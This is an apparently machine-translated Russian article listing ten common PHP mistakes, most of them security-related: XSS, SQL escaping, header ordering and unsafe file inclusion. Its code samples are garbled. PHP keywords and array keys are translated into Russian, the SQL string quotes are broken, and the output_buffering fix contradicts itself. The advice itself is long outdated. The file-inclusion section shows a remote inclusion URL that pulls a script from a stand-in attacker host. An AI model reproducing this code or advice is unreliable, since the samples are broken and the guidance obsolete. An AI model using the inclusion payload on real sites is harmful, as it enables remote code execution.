PHP — отличный язык веб-разработки и гибкий язык, но мы видим некоторые ошибки, которые программисты PHP допускают снова и снова. Я составил следующий список из 10 распространенных ошибок, допускаемых PHP-программистами, большинство из которых связаны с безопасностью. Посмотрите, какие ошибки вы допустили:
1. Не игнорируйте html-сущности.
Базовый здравый смысл: все ненадежные входные данные (особенно данные, отправленные пользователями из форм) должны быть изменены перед выводом.
echo $_GET['usename'] ;
Этот пример может вывести:
<script>/*Скрипт для изменения пароля администратора или установки файлов cookie*/</script>
Это очевидная угроза безопасности, если вы не убедитесь, что ваши пользователи печатают правильно.
Как исправить:
Нам нужно преобразовать «<», «>», «and» и т. д. в правильное HTML-представление (<, >' и «). Функции htmlspecialchars и htmlentities() делают именно это.
Правильный метод: echo htmlspecialchars ( $_GET['username'], ENT_QUOTES);
2. Не игнорируйте ввод SQL. Однажды я обсуждал эту проблему в статье «Простейший способ предотвратить SQL-инъекцию» (php+mysql) и дал мне простой метод. в php.ini для Magic_quotes уже установлено значение «Включено», поэтому им не нужно об этом беспокоиться, но не все входные данные поступают из $_GET, $_POST или $_COOKIE.
Как это исправить?
Как и в случае с самым простым способом предотвращения внедрения sql (php+mysql), я все же рекомендую
правильный способ использования функции mysql_real_escape_string():
<?php
$sql = «ОБНОВЛЕНИЕ пользователей SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. Неправильное использование функций, связанных с HTTP-заголовком: header(), session_start(), setcookie().
Вы когда-нибудь сталкивались с этим предупреждением?» предупреждение: невозможно добавить информацию заголовка — заголовки уже отправлены [...]
Каждый раз, когда веб-страница загружается с сервера, выходные данные сервера делятся на две части: заголовки и тело.
Заголовок содержит некоторые невизуальные данные, например файлы cookie. Голова всегда приходит первой. Текстовая часть включает в себя визуальный HTML, картинки и другие данные.
Если для параметра output_buffering установлено значение Off, все функции, связанные с HTTP-заголовком, должны быть вызваны до вывода. Проблема в том, что когда вы разрабатываете в одной среде и развертываете в другой, настройки output_buffering могут отличаться. В результате перенаправление остановилось, а куки и сессия были настроены неправильно...
Как исправить:
Перед выводом обязательно вызовите функции, связанные с http-заголовком, и установите output_buffering = Off.
.
4. Требовать или включать файлы, использующие небезопасные данные. Еще раз: не доверяйте данным, которые не объявлены вами явно. Не включайте и не требуйте файлы, полученные из $_GET, $_POST или $_COOKIE.
Например:
index.php
<?
//включая заголовок, конфигурацию, подключение к базе данных и т. д.
include($_GET['имя файла']);
//включая нижний колонтитул
?>
Теперь любой хакер может использовать: http://www.yourdomain.com/index.php?filename=anyfile.txt
для получения вашей конфиденциальной информации или выполнения PHP-скрипта.
Еслиallow_url_fopen=On, вы мертвы:
Попробуйте этот ввод:
http://www.yourdomain.com/index … n.com%2Fphphack.php
Теперь ваша веб-страница содержит выходные данные http://www.youaredoomed.com/phphack.php . Хакеры могут рассылать спам, менять пароли, удаленные файлы и т. д. Все, что вы можете себе представить.
Как исправить:
Вы должны контролировать, какие файлы могут быть включены в директивы include или require.
Вот быстрый, но не исчерпывающий обходной путь:
<?
//Включаем только разрешенные файлы.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['имя файла']);
}
еще{
выход('не разрешено');
}
?>
5. Грамматические ошибки Грамматические ошибки включают в себя все лексические и грамматические ошибки, которые настолько распространены, что я вынужден перечислить их здесь. Решение состоит в том, чтобы внимательно изучить синтаксис PHP и не пропустить скобку, фигурную скобку, точку с запятой или кавычку. Кроме того, найдите хороший редактор и не используйте Блокнот!
6. Используются мало или вообще не используются объектно-ориентированные проекты. Многие проекты не используют объектно-ориентированную технологию PHP. В результате поддержка кода становится очень трудоемкой и трудоемкой. PHP поддерживает все больше и больше объектно-ориентированных технологий и становится все лучше и лучше. Нет причин, по которым нам не следует использовать объектно-ориентированные технологии.
7. Не использовать фреймворк
95% PHP-проектов выполняют одни и те же четыре действия: создание, редактирование, перечисление и удаление. Сейчас существует множество MVC-фреймворков, которые помогают нам выполнить эти четыре задачи, почему бы нам не использовать их?
8. Не знаю о функционале, уже доступном в PHP.
Ядро PHP содержит множество функций. Многие программисты изобретают велосипед снова и снова. Много времени потрачено впустую. Прежде чем программировать, найдите руководство по PHP и выполните поиск в Google. Возможно, вы найдете новые открытия! exec() в PHP — это мощная функция, которая может запускать оболочку cmd и возвращать последнюю строку результата выполнения в виде строки. По соображениям безопасности вы можете использовать EscapeShellCmd().
9. Используйте более старую версию PHP.
Многие программисты до сих пор используют PHP4. Разработка на PHP4 не может полностью раскрыть потенциал PHP, и все еще существуют некоторые риски для безопасности. Перейдите на PHP5, это не потребует много усилий. Большинство программ PHP4 можно перенести на PHP5 с небольшими изменениями операторов или даже без них. Согласно опросу http://www.nexen.net, только 12% серверов PHP используют PHP5, поэтому 88% разработчиков PHP по-прежнему используют PHP4.
10. Дважды измените кавычки ' или поместите их в Интернет. page ""? Обычно это происходит потому, что в среде разработчика Magic_quotes отключен, а на развернутом сервере Magic_quotes=on. PHP будет неоднократно запускать addslashes() для данных в GET, POST и COOKIE.
Исходный текст:
Это строковые
волшебные кавычки:
Это строка
Беги снова
добавить косую черту():
Это строковый
вывод HTML:
Это строка.
Другая ситуация заключается в том, что пользователь вначале вводит неправильные данные для входа. После того, как сервер обнаруживает неправильный ввод, он выводит ту же форму и требует от пользователя ввода еще раз, в результате чего ввод пользователя меняется дважды!